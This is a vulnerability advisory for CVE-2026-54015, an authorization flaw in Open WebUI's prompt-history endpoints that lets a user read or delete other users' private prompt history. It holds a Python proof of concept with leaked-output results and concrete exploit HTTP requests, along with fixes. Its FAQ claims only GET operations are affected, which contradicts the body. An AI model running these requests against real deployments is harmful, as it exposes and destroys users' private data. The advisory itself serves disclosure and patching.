CVE-2026-54015: Open WebUI: Prompt history IDOR: unbound history_id allows cross-prompt read and deletion
Summary
Open WebUI's prompt version-history endpoints authorize the promptid in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (historyentry.promptid == prompt.id). Three operations are affected:
- GET /api/v1/prompts/id/{promptid}/history/diff — returns another prompt's history snapshots (read). - POST /api/v1/prompts/id/{promptid}/update/version — restores another prompt's snapshot into the caller's prompt, exposing its content (read). - DELETE /api/v1/prompts/id/{promptid}/history/{historyid} — deletes another prompt's history entry (delete).
An authenticated user with access to any prompt they control, plus a victim prompthistory.id, can read or delete another user's private prompt history. The single-entry read endpoint (GET .../history/{historyid}) already enforces the binding; these three did not.
Impact
Security boundary crossed: prompt confidentiality and integrity.
Prompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim prompthistory.id, an attacker can read another user's snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user's history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure.
Root Cause
The route checks read access only for promptid:
python backend/openwebui/routers/prompts.py prompt = await Prompts.getpromptbyid(promptid, db=db) ... if not ( user.role == 'admin' or prompt.userid == user.id or await AccessGrants.hasaccess( userid=user.id, resourcetype='prompt', resourceid=prompt.id, permission='read', db=db, ) ): raise HTTPException(...)
But the authorized prompt ID is not passed into the diff sink:
python backend/openwebui/routers/prompts.py diff = await PromptHistories.computediff(fromid, toid, db=db)
computediff() fetches both history entries globally by ID and returns their full snapshots:
python backend/openwebui/models/prompthistory.py resultfrom = await db.execute(select(PromptHistory).filter(PromptHistory.id == fromid)) fromentry = resultfrom.scalars().first() resultto = await db.execute(select(PromptHistory).filter(PromptHistory.id == toid)) toentry = resultto.scalars().first() ... return { 'fromsnapshot': fromsnapshot, 'tosnapshot': tosnapshot, ... }
There is no check that fromentry.promptid == promptid or toentry.promptid == promptid.
The same missing binding affects two further endpoints. POST .../update/version restores a snapshot fetched globally by versionid:
python backend/openwebui/models/prompts.py — updatepromptversion historyentry = await PromptHistories.gethistoryentrybyid(versionid, db=session) ... prompt.content = snapshot.get('content', prompt.content) # foreign snapshot copied into caller's prompt prompt.versionid = versionid
DELETE .../history/{historyid} deletes an entry fetched globally by historyid:
python backend/openwebui/models/prompthistory.py — deletehistoryentry result = await db.execute(select(PromptHistory).filterby(id=historyid)) entry = result.scalars().first() ... await db.delete(entry)
Neither checks entry.promptid == prompt.id. The single-entry read endpoint (GET .../history/{historyid}) does (historyentry.promptid != prompt.id → 404); these three endpoints were missing it.
PoC
python #!/usr/bin/env python3 """ PoC for prompt history diff IDOR.
The PoC executes: - the real routers.prompts.getpromptdiff() route function - the real PromptHistories.computediff() implementation
Fake model/DB adapters are used only to avoid requiring a running server. The security-sensitive behavior under test is that the route authorizes the prompt ID in the URL, then computes a diff for arbitrary history IDs without checking that those history rows belong to the authorized prompt. """
from future import annotations
import asyncio import json import os import sys import types from pathlib import Path from types import SimpleNamespace
def prepareimports() -> None: reporoot = Path(file).resolve().parents[1] sys.path.insert(0, str(reporoot / "backend")) os.environ["VECTORDB"] = "none"
class DummyTyper: def command(self, args, kwargs): return lambda fn: fn
sys.modules.setdefault( "typer", types.SimpleNamespace( Typer=lambda args, kwargs: DummyTyper(), Option=lambda args, kwargs: None, echo=lambda args, kwargs: None, Exit=Exception, ), ) sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda args, kwargs: None))
class FakeScalarResult: def init(self, row): self.row = row
def first(self): return self.row
class FakeExecuteResult: def init(self, row): self.row = row
def scalars(self): return FakeScalarResult(self.row)
class FakePromptHistoryDb: def init(self, rows): self.rows = rows self.calls = 0
async def execute(self, stmt): row = self.rows[self.calls] self.calls += 1 return FakeExecuteResult(row)
class FakeDbContext: def init(self, db): self.db = db
async def aenter(self): return self.db
async def aexit(self, exctype, exc, tb): return False
async def runrealcomputediff(fromid: str, toid: str): import openwebui.models.prompthistory as historymodule
victimfrom = SimpleNamespace( id=fromid, promptid="victim-prompt", snapshot={ "name": "Victim Prompt", "command": "/victim", "content": "PRIVATEPROMPTSECRETV1", }, ) victimto = SimpleNamespace( id=toid, promptid="victim-prompt", snapshot={ "name": "Victim Prompt", "command": "/victim", "content": "PRIVATEPROMPTSECRETV2", }, )
fakedb = FakePromptHistoryDb([victimfrom, victimto]) originalcontext = historymodule.getasyncdbcontext try: historymodule.getasyncdbcontext = lambda db=None: FakeDbContext(fakedb) diff = await historymodule.PromptHistories.computediff(fromid, toid) finally: historymodule.getasyncdbcontext = originalcontext
return diff
async def main() -> None: prepareimports()
import openwebui.routers.prompts as promptsrouter
attackerprompt = SimpleNamespace( id="attacker-prompt", userid="attacker", ) attacker = SimpleNamespace(id="attacker", role="user") victimfromid = "victim-history-from" victimtoid = "victim-history-to"
class FakePrompts: lookeduppromptids = []
async def getpromptbyid(self, promptid, db=None): self.lookeduppromptids.append(promptid) if promptid == "attacker-prompt": return attackerprompt return None
class FakeAccessGrants: async def hasaccess(self, args, kwargs): return False
class FakePromptHistories: computediffcalls = []
async def computediff(self, fromid, toid, db=None): self.computediffcalls.append( { "fromid": fromid, "toid": toid, "authorizedpromptidnotpassed": True, } ) return await runrealcomputediff(fromid, toid)
fakeprompts = FakePrompts() fakehistories = FakePromptHistories()
original = { "Prompts": promptsrouter.Prompts, "AccessGrants": promptsrouter.AccessGrants, "PromptHistories": promptsrouter.PromptHistories, } try: promptsrouter.Prompts = fakeprompts promptsrouter.AccessGrants = FakeAccessGrants() promptsrouter.PromptHistories = fakehistories
diff = await promptsrouter.getpromptdiff( promptid="attacker-prompt", fromid=victimfromid, toid=victimtoid, user=attacker, db=None, ) finally: for name, value in original.items(): setattr(promptsrouter, name, value)
result = { "confirmed": ( diff.get("fromsnapshot", {}).get("content") == "PRIVATEPROMPTSECRETV1" and diff.get("tosnapshot", {}).get("content") == "PRIVATEPROMPTSECRETV2" and fakeprompts.lookeduppromptids == ["attacker-prompt"] and fakehistories.computediffcalls and fakehistories.computediffcalls[0]["authorizedpromptidnotpassed"] is True ), "attackeruserid": "attacker", "authorizedpromptid": "attacker-prompt", "victimpromptid": "victim-prompt", "victimhistoryids": [victimfromid, victimtoid], "promptidsauthorizedbyroute": fakeprompts.lookeduppromptids, "computediffcalls": fakehistories.computediffcalls, "leakedfromsnapshot": diff.get("fromsnapshot"), "leakedtosnapshot": diff.get("tosnapshot"), "source": { "route": "backend/openwebui/routers/prompts.py:getpromptdiff", "sink": "backend/openwebui/models/prompthistory.py:PromptHistories.computediff", }, } print(json.dumps(result, indent=2, sortkeys=True)) if not result["confirmed"]: raise SystemExit(1)
if name == "main": asyncio.run(main())
The PoC executes the real route function and the real PromptHistories.computediff() implementation with fake model/DB adapters. It authorizes the attacker against attacker-prompt, then supplies two victim history IDs. The route returns the victim prompt snapshots.
Result:
json { "attackeruserid": "attacker", "authorizedpromptid": "attacker-prompt", "confirmed": true, "leakedfromsnapshot": { "command": "/victim", "content": "PRIVATEPROMPTSECRETV1", "name": "Victim Prompt" }, "leakedtosnapshot": { "command": "/victim", "content": "PRIVATEPROMPTSECRETV2", "name": "Victim Prompt" }, "promptidsauthorizedbyroute": [ "attacker-prompt" ], "victimhistoryids": [ "victim-history-from", "victim-history-to" ], "victimpromptid": "victim-prompt" }
Exploit Sketch
Read via the diff endpoint:
1. Attacker has read access to ATTACKERPROMPTID. 2. Attacker knows two history IDs for a victim prompt: VICTIMFROMHISTORYID and VICTIMTOHISTORYID. 3. Attacker requests:
text GET /api/v1/prompts/id/ATTACKERPROMPTID/history/diff?fromid=VICTIMFROMHISTORYID&toid=VICTIMTOHISTORYID
4. The server authorizes ATTACKERPROMPTID, then returns snapshots for the victim history IDs.
Read via restore (update/version): the attacker POSTs {"versionid": "VICTIMHISTORYID"} to their own prompt's update/version, then GETs their prompt; it now holds the victim snapshot's name/content/data/meta/tags.
Delete: the attacker sends DELETE /api/v1/prompts/id/ATTACKERPROMPTID/history/VICTIMHISTORYID; the victim history entry is removed.
Recommended Fix
Bind every prompt-history operation to the authorized prompt before acting on a history ID, mirroring the single-entry read endpoint:
- computediff() should accept promptid and query both entries with PromptHistory.promptid == promptid alongside the id filter. - deletehistoryentry() should accept promptid and filter filterby(id=historyid, promptid=promptid). - updatepromptversion() should reject historyentry.promptid != promptid before restoring.
Return 404/403 on mismatch.
Consolidation
Per our Report Handling policy this consolidates independent reports of the same prompt-history authorization flaw (one missing historyentry.promptid == prompt.id binding) reached through different endpoints:
- Diff-endpoint read and history deletion: @0xEr3n (earliest filings). - update/version restore-read: distinct path demonstrated by @5yu4n.
One CVE for the consolidated advisory.
Other sources
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, Open WebUI's prompt version-history endpoints authorize the promptid in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (historyentry.promptid == prompt.id). This affects /api/v1/prompts/id/{promptid}/history/diff, /api/v1/prompts/id/{promptid}/update/version, and /api/v1/prompts/id/{promptid}/history/{historyid}. An authenticated user with access to any prompt they control, plus a victim prompthistory.id, can read or delete another user's private prompt history. This vulnerability is fixed in 0.9.6.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/open-webuito a version that resolves this vulnerability.Fixed in 0.9.6 - Upgrade
Upgrade
open_webuito a version that resolves this vulnerability.Fixed in 0.9.6 - Configuration
In each affected endpoint, when acting on a caller-supplied history id (history_id/version_id), verify the fetched history row belongs to the authorized prompt bound by the prompt_id in the URL (i.e., require history_entry.prompt_id == prompt.id; for diff also require from_entry.prompt_id == prompt_id and to_entry.prompt_id == prompt_id).
Open WebUI prompt history endpoints (/api/v1/prompts/id/{prompt_id}/history/diff, /api/v1/prompts/id/{prompt_id}/update/version, /api/v1/prompts/id/{prompt_id}/history/{history_id}) history ownership binding = Enforce history_entry.prompt_id == prompt.id for all history_id/version_id operations - Configuration
Update compute_diff so it accepts prompt_id and queries both history entries with PromptHistory.prompt_id == prompt_id in addition to filtering by from_id/to_id, preventing cross-prompt diff reads.
Open WebUI PromptHistories.compute_diff(from_id, to_id, db) history row filtering = Use PromptHistory.prompt_id == prompt_id alongside id filtering for both entries - Configuration
Update delete_history_entry to accept prompt_id and filter the history row with both id=history_id and prompt_id=prompt_id before deleting, preventing cross-prompt history deletion.
Open WebUI PromptHistories.delete_history_entry(...) history row filtering = Filter by history id AND prompt_id (filter_by(id=history_id, prompt_id=prompt_id)) - Configuration
In update/version restore flow, before copying/restoring a snapshot, check history_entry.prompt_id != prompt_id and reject (return 404/403 per the described behavior) when the snapshot belongs to a different prompt.
Open WebUI prompts update/version (restore snapshot) endpoint restore snapshot authorization check = Reject when history_entry.prompt_id != prompt_id before restoring
Event History
Frequently Asked Questions
What is the severity of CVE-2026-54015?
The severity of CVE-2026-54015 is medium, rated at 6.4 on the CVSS scale.
How do I fix CVE-2026-54015?
Fixing CVE-2026-54015 involves implementing proper authorization checks to ensure that the history IDs belong to the authenticated prompt.
What software is affected by CVE-2026-54015?
CVE-2026-54015 affects the pip package open-webui.
What operations are impacted by CVE-2026-54015?
CVE-2026-54015 impacts the GET operations on the version-history endpoints for prompts.
When was CVE-2026-54015 published?
CVE-2026-54015 was published on June 17, 2026.